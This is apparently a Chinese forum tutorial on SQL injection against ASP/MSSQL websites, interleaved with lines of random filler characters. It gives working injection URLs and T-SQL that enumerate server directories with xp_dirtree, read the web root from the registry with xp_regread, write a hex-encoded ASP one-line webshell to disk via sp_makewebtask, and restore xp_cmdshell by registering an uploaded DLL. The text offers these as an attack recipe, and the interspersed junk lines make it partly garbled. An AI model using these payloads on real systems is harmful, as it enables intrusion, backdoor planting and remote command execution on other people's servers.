好,我们exec master..xp_dirtree'd:/test'
! x! g0 @; c; h假设我们在test里有两个文件夹test1和test2在test1里又有test3
' V5 T0 w6 e3 F$ J结果显示% H, B# h9 F# M' t6 ]0 ~) t2 F1 \
* X6 B# }9 H, ?subdirectory depth
# \3 Y, d( E6 t/ u7 g* G ?4 G& Ttest1 1
8 y% k' L0 L, H! Z0 wtest3 2
% `9 a0 J2 a7 Btest2 1
" S2 E8 h# H/ Z9 {5 T9 N* p2 h4 P. N1 ^8 h( ]4 p6 D6 c5 x
哈哈发现没有那个depth就是目录的级数, ]" B! `; o3 P: ^$ k6 L5 l
ok了,知道怎么办了吧( V9 ?2 N$ c, H9 z X& n
2 _' ~7 j* M2 y; f$ `
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- & F0 W" p1 n2 f6 u* v3 e' g
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- , L: j4 O$ s8 r6 C
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-9 Z* O, E3 J% w" }
; \3 ?( ~ a3 J5 |3 u7 _7 w
只要加上id=1,就是第一级目录 。
" K% H5 J3 m" E. g! U4 C; R& A' C8 V2 |& J, N
1 A2 ]$ B" `1 h5 b$ z& `9 b( q
通过注册表读网站路径:
, l* G: P# y7 t8 v1 U( C$ n( I5 t
' O% M* ~0 B. F9 `1.;create table [dbo].[cyfd] ([gyfd][char](255));
7 R$ G4 V1 }- c) h' m+ F3 ]3 z7 [. N3 { t
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
6 E0 f% K8 \- G: Bid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
" k$ Y4 t" L8 d8 L G, n
1 ]9 g' C8 f1 h/ D5 t0 Z7 X" [3.and 1=(select count(*) from 临时表 where 临时字段名>1)# }/ l- D, M+ l( W. }5 v, p* A
and 1=(select count(*) from cyfd where gyfd > 1)
5 g1 b. |7 g6 `这样IE报错,就把刚才插进去的Web路径的值报出来了# R& m9 ?8 V8 l7 q
3 t& m5 Z, G8 Q+ Y
4.drop table cyfd;-- 删除临时表
1 i$ Y3 R' b, G$ A4 h _- C N/ I3 c! b6 A- O. s' Z% k
获得webshell方法:
3 g$ Y: j7 L6 T& Y# D" _' I1.create table cmd (a image)-- \**cmd是创建的临时表
& G3 y" I% H2 k
% Y8 d( P9 r( W- G% }2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话6 H6 _" B* }- X' O: E7 P/ A
; i' v8 T& `" o4 K3 ?
& o h0 ?2 y% u/ X; W
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
' W" S N4 n7 P3 Q# A) gEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
, S- u* u/ Z- \2 G! S6 ?. F$ U8 G# e s/ b/ U! _
4.drop table cmd;-- 删除cmd临时表
+ K2 H# r' y8 U. [5 g$ Y
O) Y; ~( x( Z恢复xp_cmdshell方法之一:
* o0 @( K5 F* B3 j9 w( {我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
; U9 E7 `3 D+ [7 Ihttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'& G. J( `* Y3 k7 \/ m' V' L$ ~8 R
恢复,支持绝对路径的恢复哦。:)
8 h& W6 o! D5 w0 s' H. k! W |